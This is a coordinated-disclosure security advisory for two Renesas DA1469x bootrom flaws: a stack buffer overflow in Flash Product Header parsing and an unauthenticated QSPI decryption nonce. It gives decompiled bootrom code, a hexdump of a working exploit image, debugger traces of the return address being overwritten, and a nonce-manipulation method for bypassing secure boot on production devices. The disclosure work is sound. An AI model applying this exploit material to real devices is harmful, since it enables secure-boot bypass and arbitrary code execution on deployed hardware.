Skip to content

Latest commit

 

History

History
344 lines (291 loc) · 16.9 KB

ATREDIS-2024-0001.md

File metadata and controls

344 lines (291 loc) · 16.9 KB

SmartBond DA14695 Multiple Bootrom Vulnerabilities

Vendors

  • Renesas

Affected Products

SmartBond DA14695/ Potentially entire line (DA1469x)

Summary

The SmartBond DA14695 SoC bootrom contains the following vulnerabilities:

Buffer Overflow in Flash Product Header Flash Configuration Parsing

The bootrom function responsible for validating the Flash Product Header directly uses a user controllable size value (Length of Flash Config Section) to control a read from the QSPI device into a fixed sized buffer, resulting in a buffer overflow and execution of arbitrary code.

Unprotected QSPI Encryption Nonce

The Nonce used for on-the-fly decryption of flash images is stored in an unsigned header, allowing its value to be modified without breaking the signature used for secureboot image verification. As the encryption engine for on-the-fly decryption uses AES in CTR mode without authentication, an attacker modified Nonce can result in execution of arbitrary code.

Remediation/Mitigation

None at this time as an updated bootrom requires a new hardware revision.

Credit

This issue was found by Chris Bellows of Atredis Partners

References

Report Timeline

  • 2023-12-01: Atredis Partners sent an initial notification to Renesas, including a draft advisory
  • 2023-12-06: Renesas confirms receipt of the advisory for internal triage [PSIRT-LPC#17]
  • 2024-01-12: Renesas confirms both vulnerabilities, confirms fix requires hardware update
  • 2024-01-18: Atredis Partners asks Renesas for a list of impacted devices
  • 2024-01-18: Renesas confirms DA1469x family of devices are impacted
  • 2024-01-29: Atredis Partners reports vulnerability to MITRE for CVE ID assignment
  • 2024-03-13: Renesas publishes security advisory https://www.renesas.com/us/en/document/rep/id202400001-da1469x-secure-boot-vulnerabilities
  • 2024-07-09: Atredis Partners publishes advisory ATREDIS-2024-0001

Technical Details

CVE-2024-25076 - Buffer Overflow in Flash Product Header Flash Configuration Parsing

The function responsible for validating the Flash Product Header directly uses a user controllable size value (Length of Flash Config Section) to control a read from the QSPI device into a fixed sized buffer.

The following shows the decompiled code found at +0x0F8E in the da14695 bootrom responsible for reading and validating the Product Headers:

void __fastcall QSPI_Read_Product_Headers(struct_configuration_script_ptr *configuration_script_ptr, char *img_offset)
{
  char backup_product_header_buff[258]; // [sp+Ch] [bp+Ch] BYREF
  __int16 flash_cfg_len; // [sp+10Eh] [bp+10Eh] BYREF
  char product_header_id[4]; // [sp+110h] [bp+110h] BYREF
  unsigned __int16 product_header_length; // [sp+114h] [bp+114h]
  char is_valid; // [sp+117h] [bp+117h]

  is_valid = 0;
  QSPI_Cycle_CS();
  QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr + 0x14);// read offset 0x14 (Length of Flash Config Section)
  QSPI_Get_Read_Result((char *)&flash_cfg_len, 2u);// this is effectively a memcpy from QSPI for the read request call - QSPI_Get_Read_Result(char *dst, unsigned int length)
  QSPI_reset();
  product_header_length = flash_cfg_len + 0x16; // calculate the entire length of the flash header for CRC check.
                                                // does not matter, but this can wrap the flash_cfg_len value from 0xffff -> 0x0015
  do
  {
    is_valid = QSPI_read_header_check_crc(configuration_script_ptr->flash_header_ptr, product_header_length);// check the first Flash Product Header (0x0) calculated CRC against the value stored in the Flash Product Header
    if ( is_valid != 1 )                        // if the first Flash Product Header CRC check fails, check the next at offset 0x1000 in QSPI
    {
      QSPI_Cycle_CS();                          // begin process to check backup Flash Product Header
      QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr + 0x1014);// read the flash config length from the next header in QSPI (0x1000 + 0x14)
      QSPI_Get_Read_Result((char *)&flash_cfg_len, 2u);
      QSPI_reset();
      product_header_length = flash_cfg_len + 0x16;// calculate the entire length for the CRC check
      is_valid = QSPI_read_header_check_crc(
                   configuration_script_ptr->flash_header_ptr + 0x1000,// check the second Flash Product Header (0x1000) CRC against the stored CRC value
                   flash_cfg_len + 0x16);
      if ( is_valid != 1 )                      // if the second Flash Product Header CRC fails, indicate as such and return to caller
      {
        configuration_script_ptr->header_crc_valid[1] = 0;
        return;
      }
      QSPI_Cycle_CS();                          // at this point the first header has failed CRC and the second has passed - the process will read the backup buffer and write it to the primary location
      QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr + 0x1000);// initiate a QSPI read at the start of the backup Flash Product Header (0x1000)
      QSPI_Get_Read_Result(backup_product_header_buff, product_header_length + 2);// read the entire backup header, including the stored CRC at the end
      QSPI_reset();
      WDOG_feed_ff_();
      QSPI_Cycle_CS();
      QSPI_sector_erase(configuration_script_ptr->flash_header_ptr);// erase the primary product header at 0x0
      WDOG_feed_ff_();
      QSPI_Cycle_CS();
      QSPI_write_buffer(                        // write the backup product header to the primary location 0x0 - QSPI_write_buffer(dst_addr, char *src, src_len)
        configuration_script_ptr->flash_header_ptr,
        backup_product_header_buff,
        product_header_length + 2);
      QSPI_reset();
      is_valid = 0;                             // set is_valid to 0 to loop back to the start
    }
  }
  while ( is_valid != 1 );
  QSPI_Cycle_CS();                              // exited the loop with a valid primary Flash Product Header at 0x0
  QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr);
  QSPI_Get_Read_Result(product_header_id, 2u);  // read 2 bytes from the flash header and check for the Programmed Identifier "Pp"
  configuration_script_ptr->header_crc_valid[1] = 0;
  if ( product_header_id[0] == 0x50 && product_header_id[1] == 0x70 )
  {
    QSPI_Get_Read_Result(img_offset, 8u);       // if the Program Identifier is correct, read the next 8 bytes to get the Active/Update FW Image Addresses
    if ( is_zero(*(_DWORD *)img_offset) )
      configuration_script_ptr->header_crc_valid[1] = 1;// if image offsets are 0, indicate that the Product Header is invalid and return
  }
  QSPI_reset();
}

The basic flow of the code is the following:

Check the primary Product Header's CRC against the value stored within it, if it is valid, check for the Pp identifier and attempt to extract the Active and Update FW Image addresses. If the primary is invalid, check the backup Product Header, if it is valid erase the primary and write the backup Product Header in its place and loop back to the primary check, if the backup is also invalid exit back to the caller.

The actual overflow occurs in the following call:

QSPI_Get_Read_Result(backup_product_header_buff, product_header_length + 2);// read the entire backup header, including the stored CRC at the end

The backup_product_header_buff is a fixed length value (char backup_product_header_buff[258]) and the product_header_length is a user controlled 2-byte value in the Product Header (Length of Flash Config Section).

This can be exploited by creating a flash image where the Primary product header is invalid and contains a valid CRC at the correct offset for the second loop iteration, while setting the Backup product header's Length of Flash Config Section value to a large value that will overflow the backup_product_header_buff[258].

The following example payload results in program execution entering an infinite loop after the function starting at +0x0F8E exits:

hexdump -C workingloop.bin
00000000  50 70 00 20 00 00 00 20  00 00 eb 00 a5 a8 66 00  |Pp. ... ......f.|
00000010  00 00 aa 11 01 00 01 40  07 aa 4e ff ff ff ff ff  |.......@..N.....|
00000020  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
00001100  00 00 c0 84 00 20 00 aa  bb cc a5 a8 66 00 00 00  |..... ......f...|
00001110  0b 00 04 20 01 00 07 24  24 24 24 24 00 bf 00 bf  |... ...$$$$$....|
00001120  00 bf 00 bf 00 bf 00 bf  00 bf 00 bf 00 bf fe e7  |................|
00001130  00 04 f1 a0 47 80 33 33  31 31 33 33 31 31 33 33  |....G.3311331133|
00001140  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
00004140  31 31 33 33 31 31 33 7f  0b 31 33 33 31 31 33 33  |1133113..1331133|
00004150  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
0000ccb0  31 31 33 33 31 31 33 33  31 31 33 9c 87 31 33 33  |11331133113..133|
0000ccc0  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
00013900

The actual payload is included as an attachment.

The overflow and arbitrary code execution can be observed by setting breakpoints at the call where the overflow occurs and at the exit of the vulnerable function:

J-Link>setbp 0x1140 <--- function exit
Breakpoint set @ addr 0x00001140 (Handle = 1)
J-Link>setbp 0x1082 <--- vulnerable call
Breakpoint set @ addr 0x00001082 (Handle = 2)
J-Link>go

At the point the vulnerable call is executed, the length (R1) is 0x3149 and the destination buffer is at 0x2003FEDC:

CPU is halted (PC = 0x00001082).
J-Link>regs
PC = 00001082, CycleCnt = 00EAAFB6
R0 = 2003FEDC, R1 = 00003149, R2 = 00003149, R3 = 2003FEDC
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FED0
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FED0, MSP= 2003FED0, PSP= 00000000, R14(LR) = 00001F3F

The following shows the stack before executing the vulnerable call, the saved return address is noted:

J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 10333131
2003FF80 = 33333131 2003FF88 2003FFB0 FFFFFFB8
2003FF90 = 00000001 E000E100 00010000 00000001
2003FFA0 = ABA08801 000025DB 000026BE 29000000
2003FFB0 = 00010000 2003C954 ABA08801 006025DB
2003FFC0 = 2003FFC8 00002863 2003FFF0 2003C954
2003FFD0 = 00000001 00000000 00010000 31310001
2003FFE0 = ABA08801 01003147 2003FFF0 000017D9  <---- saved return address value
2003FFF0 = 00000000 00000000 00000000 000001BB
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131

After the function call, the stack has been overwritten and the previously saved return address has been modified:

J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 33333131
2003FF80 = 33333131 33333131 33333131 33333131
2003FF90 = 33333131 33333131 33333131 33333131
2003FFA0 = 33333131 33333131 33333131 33333131
2003FFB0 = 33333131 33333131 33333131 33333131
2003FFC0 = 33333131 33333131 33333131 33333131
2003FFD0 = 33333131 33333131 33333131 84C00000
2003FFE0 = AA002000 A8A5CCBB 00000066 2004000B <---- overwritten address value
2003FFF0 = 24070001 24242424 BF00BF00 BF00BF00
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131

At the end of the function before return, the top of the stack containing our input is used to return back to the calling function, resulting in the program executing the payload included in our malformed image:

PC = 00001140, CycleCnt = 02ACD568
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FFE8
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFE8, MSP= 2003FFE8, PSP= 00000000, R14(LR) = 0000113B
J-Link>mem32 2003FFE8,0x20
2003FFE8 = 00000066 2004000B 24070001 24242424
2003FFF8 = BF00BF00 BF00BF00 BF00BF00 BF00BF00
20040008 = E7FEBF00 A0F10400 33338047 33333131
20040018 = 33333131 33333131 33333131 33333131
20040028 = 33333131 33333131 33333131 33333131
20040038 = 33333131 33333131 33333131 33333131
20040048 = 33333131 33333131 33333131 33333131
20040058 = 33333131 33333131 33333131 33333131
J-Link>s
00001140:   80 BD              POP       {R7,PC}

The payload in this case is a simple infinite loop, as seen in the following output:

J-Link>regs
PC = 2004000A, CycleCnt = 02ACD570
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 00000066
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFF0, MSP= 2003FFF0, PSP= 00000000, R14(LR) = 0000113B
J-Link>s
2004000A:   FE E7              B         #-0x04
J-Link>s
2004000A:   FE E7              B         #-0x04

CVE-2024-25077 - Unprotected QSPI Encryption Nonce

The FW Image stores the Nonce value for QSPI decryption in an unprotected firmware image header, as seen in the following layout provided by the product datasheet:

[Image Header][Image Identifier ("Qq")]
[Image Header][Size]
[Image Header][CRC]
[Image Header][Version String]
[Image Header][Timestamp]
[Image Header][IVT offset]
[Image Header][Security][Type Security Section (0xAA22)]
[Image Header][Security][Length of Security Section]
[Image Header][Security][Index to ECC Key]
[Image Header][Security][Index to Sym. Key]
[Image Header][Security][Nonce]  <----- Decryption Nonce
[Image Header][Security][Type Signature Section (0xAA33)]
[Image Header][Security][Length of Signature Section]
[Image Header][Security][Signature (TLV)]
----------SIGNED-------------
[Image Header][Device Administration (TLV)]
[IVT]
[Executable]
----------SIGNED-------------

The encrypted portion of the FW is encrypted using AES in CTR mode allowing a modified NONCE value to decrypt the encrypted contents (IVT/Executable) 'successfully'. An attacker can search for modifications that cause the FW to decrypt where the reset vector points to an area that would allow code execution. An example would be any value that falls within the QSPI mapped region:

QSPI FLASH (Code Interface, cached)     0x16000000 0x16800000
QSPI FLASH (System Interface, uncached) 0x36000000 0x36800000

An example that meets this criteria can be seen in the following configuration:

Key                - FAA30A7DCC58C862576C486BC858DBDCDE88B6DDE0612E8C3D292A30D6447B02
IV(Nonce+Counter)  - 0102030405060708000000000000000
Encrypted Value    - 5D10BBDA05498A9200878AE0A92E56DF

Normally, this configuration would decrypt to 2000247000000201200003d9200003f1 making the reset vector 00000201. By modifying the Nonce to be 0192030405060708, the value decrypts to dd7ea2fd362cf67929051faba0b918be making the reset vector 362cf679, meeting the criteria of an address existing within the QSPI mapping. This can be confirmed by loading the image onto a device, writing an example payload to the QSPI device offset (0x2cf679) and inspecting the system after a reset:

Writing a BKPT #255 to the flash device:

cli_programmer.exe COM6 write_qspi_bytes 0x2cf679 0xbe 0xff
cli_programmer 1.27
Copyright (C) 2015-2021 Dialog Semiconductor

Using serial port COM6 at baud rate 1000000.
bootloader file not specified, using internal uartboot.bin

Writing to address: 0x002cf679 offset: 0x00000000 chunk size: 0x00000002
done.

Debug reset showing reset address:

J-Link>r
Reset delay: 0 ms
Reset type NORMAL: Resets core & peripherals via SYSRESETREQ & VECTRESET bit.
Reset: Halt core after reset via DEMCR.VC_CORERESET.
Reset: Reset device via AIRCR.SYSRESETREQ.
J-Link>mem32 0,2
00000000 = DD7EA2FD 362CF679  <----- our reset value

Stepping execution confirms execution of code:

J-Link>s
362CF678:   FF BE              BKPT      #255

When attacking a production device where the key is unknown, the attack can be executed by updating the Nonce and monitoring the SPI bus while the system boots until a modified Nonce produces a SPI read to an address that is outside the signed firmware range.